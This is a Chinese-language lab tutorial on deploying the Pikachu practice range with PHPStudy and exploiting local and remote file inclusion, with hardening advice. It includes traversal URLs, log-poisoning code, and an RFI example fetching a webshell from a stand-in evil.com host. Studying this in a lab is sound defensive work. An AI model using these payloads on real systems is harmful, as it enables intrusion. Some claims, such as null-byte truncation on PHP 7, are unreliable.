零基础实战:PHPStudy快速搭建Pikachu靶场与文件包含漏洞攻防
在网络安全学习道路上,动手实践是突破理论瓶颈的关键。对于刚入门的新手而言,如何在个人电脑上快速搭建一个可随时演练的漏洞环境,往往成为第一个技术门槛。本文将带你用最流行的PHPStudy集成环境,在Windows系统上完成Pikachu靶场的完整部署,并深入实战文件包含漏洞的攻防技巧。
1. 环境准备与PHPStudy配置
1.1 PHPStudy的安装与初始化
PHPStudy作为Windows平台最受欢迎的集成环境,其优势在于一键安装即可获得Apache/Nginx、PHP、MySQL的全套服务。最新版本(2023年8月发布的v8.1)已默认支持PHP7.4和MySQL5.7,这正是运行Pikachu靶场的理想环境。
安装时需特别注意:
- 选择自定义安装路径,避免使用含中文或空格的目录(如
D:\phpstudy_pro) - 安装完成后首次启动,需以管理员身份运行主程序
- 在控制面板中切换PHP版本为7.3+(Pikachu部分功能需要PHP7+特性)
提示:若遇到端口冲突(特别是80端口被占用),可在"设置"-"端口常规设置"中修改Apache/Nginx监听端口为8080等非标准端口。
1.2 下载与部署Pikachu源码
Pikachu靶场源码可通过GitHub官方仓库获取。为避免版本兼容性问题,建议下载2023年更新的v2.0+版本:
cd D:\phpstudy_pro\WWW git clone https://github.com/zhuifengshaonianhanlu/pikachu.git关键配置步骤:
- 修改
pikachu/inc/config.inc.php中的数据库连接信息:define('DBUSER','root'); // 默认用户名 define('DBPWD','root'); // PHPStudy默认密码 define('DBNAME','pikachu'); // 新建的数据库名 - 访问
http://localhost/pikachu/install.php完成自动安装 - 检查
/pikachu/vul目录权限,确保可读写(特别是文件上传类漏洞需要)
常见问题解决方案:
- 空白页面:检查PHP版本是否≥7.3,确保开启
mysqli扩展 - 数据库连接失败:在PHPStudy中确认MySQL服务已启动,密码是否匹配
- 500错误:删除
pikachu/install目录后重试安装
2. 文件包含漏洞原理深度解析
2.1 漏洞形成机制
文件包含漏洞源于程序对用户输入的文件路径未做严格过滤,导致攻击者可以包含非预期的文件。其危险程度取决于包含文件的执行权限:
// 危险示例:直接包含用户输入 include($_GET['filename'] . '.php'); // 安全示例:白名单验证 $allowed = ['file1','file2','file3']; if(in_array($_GET['file'], $allowed)){ include($_GET['file'] . '.php'); }漏洞类型对比:
| 类型 | 触发条件 | 危害等级 | 典型利用方式 |
|---|---|---|---|
| 本地文件包含 | 允许包含服务器本地文件 | ★★★★☆ | 读取/etc/passwd等敏感文件 |
| 远程文件包含 | allow_url_include=On | ★★★★★ | 执行远程恶意代码 |
2.2 Windows环境下的路径特性
在Windows系统中利用文件包含漏洞时,需要特别注意路径表达方式:
- 目录跳转使用
..\..\(反斜杠) - 系统关键文件通常位于
C:\Windows\System32\ - 特殊字符如
~可用来绕过简单过滤
实战技巧:
http://localhost/pikachu/vul/fileinclude/fi_local.php?filename=../../../../Windows/System32/drivers/etc/hosts%00其中%00是空字符截断技巧,可绕过部分后缀过滤。
3. 本地文件包含(LFI)实战演练
3.1 基础利用:敏感文件读取
在Pikachu靶场的"File Inclusion(local)"关卡中,通过修改filename参数实现文件遍历:
- 正常选择球星(如Kobe)观察URL结构:
fi_local.php?filename=file1.php&submit=提交 - 尝试路径穿越读取系统文件:
fi_local.php?filename=../../../../Windows/System32/drivers/etc/hosts - 使用PHP伪协议读取源码:
fi_local.php?filename=php://filter/convert.base64-encode/resource=file1.php
注意:Windows系统需要至少4级
../才能跳出Web根目录,实际测试中可能需要更多层级。
3.2 高级利用:日志文件注入
当直接文件读取受限时,可通过污染日志文件实现代码执行:
- 查找Apache日志路径(通常在
phpstudy_pro/Extensions/Apache2.4.39/logs/access.log) - 发送包含PHP代码的恶意请求:
GET /<?php system('whoami');?> HTTP/1.1 Host: localhost - 包含日志文件执行代码:
fi_local.php?filename=../../Extensions/Apache2.4.39/logs/access.log
4. 远程文件包含(RFI)攻防实战
4.1 环境准备与利用条件
远程文件包含需要满足两个关键条件:
- PHP配置中
allow_url_fopen和allow_url_include均为On - 服务器能访问外部网络(禁用出站流量会阻断攻击)
检查PHP配置:
php -i | grep allow_url4.2 分步攻击演示
假设攻击者控制着http://evil.com/shell.txt,内容为:
<?php file_put_contents('shell.php', '<?php eval($_POST["cmd"]);?>'); ?>攻击步骤:
- 构造恶意URL触发远程包含:
fi_remote.php?filename=http://evil.com/shell.txt - 访问生成的webshell:
http://localhost/pikachu/vul/fileinclude/shell.php - 使用POST传递命令:
curl -X POST -d "cmd=system('whoami');" http://localhost/shell.php
防御方案对比表:
| 防御措施 | 实施难度 | 防护效果 | 对业务影响 |
|---|---|---|---|
| 关闭allow_url_include | ★★☆☆☆ | ★★★★★ | 低 |
| 文件名白名单验证 | ★★★☆☆ | ★★★★☆ | 中 |
| 重命名上传文件 | ★★★★☆ | ★★★☆☆ | 高 |
| 禁用危险函数(eval等) | ★★☆☆☆ | ★★★★☆ | 低 |
5. 生产环境防护方案
5.1 代码层最佳实践
对于必须使用动态包含的场景,应采用多维度防御:
// 1. 路径固定化 $base = '/safe_dir/'; $file = basename($_GET['file']); if(!preg_match('/^[a-z0-9_]+$/i', $file)){ die('Invalid filename'); } include($base . $file . '.php'); // 2. 实时监控示例 function safe_include($path){ $realpath = realpath($path); if(strpos($realpath, '/safe_dir/') !== 0){ syslog(LOG_ALERT, "LFI attempt: ".$_SERVER['REMOTE_ADDR']); die('Access denied'); } return include($realpath); }5.2 系统层加固措施
- PHP配置优化:
open_basedir = "/var/www/html:/tmp" disable_functions = "exec,passthru,shell_exec,system" - 文件系统权限控制:
chown -R www-data:www-data /var/www/html chmod -R 750 /var/www/html find /var/www -type f -exec chmod 640 {} \; - 实时监控关键目录:
auditctl -w /etc/passwd -p war -k sensitive_files
在最近一次企业渗透测试中,我们发现即使采用了白名单过滤,攻击者仍可能通过Windows特有的~短文件名特性绕过防护。例如fi_local.php?filename=file1.ph~可能成功包含文件,这提醒我们在防御方案中必须考虑操作系统特性差异。